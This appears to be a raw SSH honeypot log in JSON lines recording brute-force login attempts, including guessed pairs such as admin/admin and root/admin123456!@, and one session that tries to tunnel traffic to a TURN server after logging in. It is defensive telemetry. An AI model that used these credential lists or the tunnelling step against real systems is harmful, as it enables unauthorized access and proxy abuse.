:["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:12:03.752644Z","src_ip":"190.242.109.42","session":"db3ade45811e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"12345","message":"login attempt [admin1/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:12:04.153450Z","src_ip":"190.242.109.42","session":"db3ade45811e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:12:05.248627Z","src_ip":"190.242.109.42","session":"db3ade45811e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.189.208.13","src_port":35668,"dst_ip":"159.203.135.109","dst_port":22,"session":"803429b7e0c5","protocol":"ssh","message":"New connection: 103.189.208.13:35668 (159.203.135.109:22) [session: 803429b7e0c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:12:16.193169Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:12:16.200686Z","src_ip":"103.189.208.13","session":"803429b7e0c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:12:16.455623Z","src_ip":"103.189.208.13","session":"803429b7e0c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Password01","message":"login attempt [admin/Password01] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:12:17.498141Z","src_ip":"103.189.208.13","session":"803429b7e0c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:12:18.756463Z","src_ip":"103.189.208.13","session":"803429b7e0c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.242.109.42","src_port":45522,"dst_ip":"159.203.135.109","dst_port":22,"session":"056cfc933d75","protocol":"ssh","message":"New connection: 190.242.109.42:45522 (159.203.135.109:22) [session: 056cfc933d75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:13:10.183234Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:13:10.188323Z","src_ip":"190.242.109.42","session":"056cfc933d75","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:13:10.271005Z","src_ip":"190.242.109.42","session":"056cfc933d75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webuser","password":"webuser123","message":"login attempt [webuser/webuser123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:13:10.628798Z","src_ip":"190.242.109.42","session":"056cfc933d75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:13:11.714079Z","src_ip":"190.242.109.42","session":"056cfc933d75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":59046,"dst_ip":"10.17.0.5","dst_port":22,"session":"ab3f0a908152","protocol":"ssh","message":"New connection: 45.148.10.121:59046 (10.17.0.5:22) [session: ab3f0a908152]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:13:13.459695Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:13:13.510951Z","src_ip":"45.148.10.121","session":"ab3f0a908152","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:13:13.575752Z","src_ip":"45.148.10.121","session":"ab3f0a908152","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:13:13.833158Z","src_ip":"45.148.10.121","session":"ab3f0a908152","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"141.101.90.1","dst_port":3478,"src_ip":"45.148.10.121","src_port":0,"message":"direct-tcp connection request to 141.101.90.1:3478 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:13:13.911237Z","session":"ab3f0a908152","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"141.101.90.1","dst_port":3478,"ja4h":"ge11nn020000_8d35d308f07e_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 141.101.90.1:3478: ge11nn020000_8d35d308f07e_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:13:13.987939Z","src_ip":"45.148.10.121","session":"ab3f0a908152","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"141.101.90.1","dst_port":3478,"data":"b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to 141.101.90.1:3478 with data b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:13:13.992483Z","src_ip":"45.148.10.121","session":"ab3f0a908152","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:13:14.071427Z","src_ip":"45.148.10.121","session":"ab3f0a908152","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":59058,"dst_ip":"10.17.0.5","dst_port":22,"session":"9f78b6c17610","protocol":"ssh","message":"New connection: 45.148.10.121:59058 (10.17.0.5:22) [session: 9f78b6c17610]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:13:14.151128Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:13:14.158185Z","src_ip":"45.148.10.121","session":"9f78b6c17610","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:13:14.238177Z","src_ip":"45.148.10.121","session":"9f78b6c17610","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:13:14.477211Z","src_ip":"45.148.10.121","session":"9f78b6c17610","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"141.101.90.1","dst_port":3478,"src_ip":"45.148.10.121","src_port":0,"message":"direct-tcp connection request to 141.101.90.1:3478 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:13:14.559115Z","session":"9f78b6c17610","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"141.101.90.1","dst_port":3478,"ja4h":"ge11nn020000_8d35d308f07e_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 141.101.90.1:3478: ge11nn020000_8d35d308f07e_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:13:14.640784Z","src_ip":"45.148.10.121","session":"9f78b6c17610","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"141.101.90.1","dst_port":3478,"data":"b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to 141.101.90.1:3478 with data b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:13:14.643956Z","src_ip":"45.148.10.121","session":"9f78b6c17610","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:13:14.726361Z","src_ip":"45.148.10.121","session":"9f78b6c17610","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.189.208.13","src_port":53044,"dst_ip":"159.203.135.109","dst_port":22,"session":"4064c7e0cdf5","protocol":"ssh","message":"New connection: 103.189.208.13:53044 (159.203.135.109:22) [session: 4064c7e0cdf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:13:15.296815Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:13:15.302605Z","src_ip":"103.189.208.13","session":"4064c7e0cdf5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:13:15.553823Z","src_ip":"103.189.208.13","session":"4064c7e0cdf5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mc","password":"test","message":"login attempt [mc/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:13:16.588331Z","src_ip":"103.189.208.13","session":"4064c7e0cdf5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:13:17.841828Z","src_ip":"103.189.208.13","session":"4064c7e0cdf5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.189.208.13","src_port":55634,"dst_ip":"159.203.135.109","dst_port":22,"session":"683474f82dd4","protocol":"ssh","message":"New connection: 103.189.208.13:55634 (159.203.135.109:22) [session: 683474f82dd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:14:11.899761Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:14:11.904403Z","src_ip":"103.189.208.13","session":"683474f82dd4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:14:12.161495Z","src_ip":"103.189.208.13","session":"683474f82dd4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"testtesttest","message":"login attempt [root/testtesttest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:14:13.219914Z","src_ip":"103.189.208.13","session":"683474f82dd4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:14:14.478778Z","src_ip":"103.189.208.13","session":"683474f82dd4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.242.109.42","src_port":36174,"dst_ip":"159.203.135.109","dst_port":22,"session":"636f9438d307","protocol":"ssh","message":"New connection: 190.242.109.42:36174 (159.203.135.109:22) [session: 636f9438d307]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:14:15.026885Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:14:15.031908Z","src_ip":"190.242.109.42","session":"636f9438d307","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:14:15.129000Z","src_ip":"190.242.109.42","session":"636f9438d307","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin123456!@","message":"login attempt [root/admin123456!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:14:15.535854Z","src_ip":"190.242.109.42","session":"636f9438d307","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:14:16.633033Z","src_ip":"190.242.109.42","session":"636f9438d307","protocol":"ssh"}
